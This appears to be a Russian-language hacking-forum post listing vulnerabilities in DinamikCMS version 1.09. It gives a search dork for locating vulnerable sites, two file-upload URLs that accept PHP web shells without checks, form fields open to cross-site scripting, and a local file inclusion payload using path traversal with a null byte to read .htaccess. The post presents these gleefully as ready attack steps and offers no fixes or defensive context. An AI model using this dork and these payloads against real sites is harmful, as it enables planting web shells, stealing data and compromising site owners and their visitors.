Уязвимости DinamikCMS

[Twoster]

Уязвимый продукт: DinamikCMS
Версия: 1.09
Дорк: Powered by DinamikCMS v.1.09

Просто удивительная CMS

1. Заливка шелла
cms_site.ru/?pg=module/files/addfiles
cms_site.ru/?pg=module/galerea/addfoto
Загружаемые файлы совершенно не проверяются, можно загрузить шелл c расширением .php абсолютно безо всяких проблем! =)

2. XSS
a) добавляем статью, в поле "Предисловие" отлично проходит XSS
cms_site.ru/?pg=module/article/addarticle
b) Редактирование профиля, XSS подвержены все поля
cms_site.ru/?pg=edituser

3. Локальный инклуд
cms_site.ru/?pg=../.htaccess%00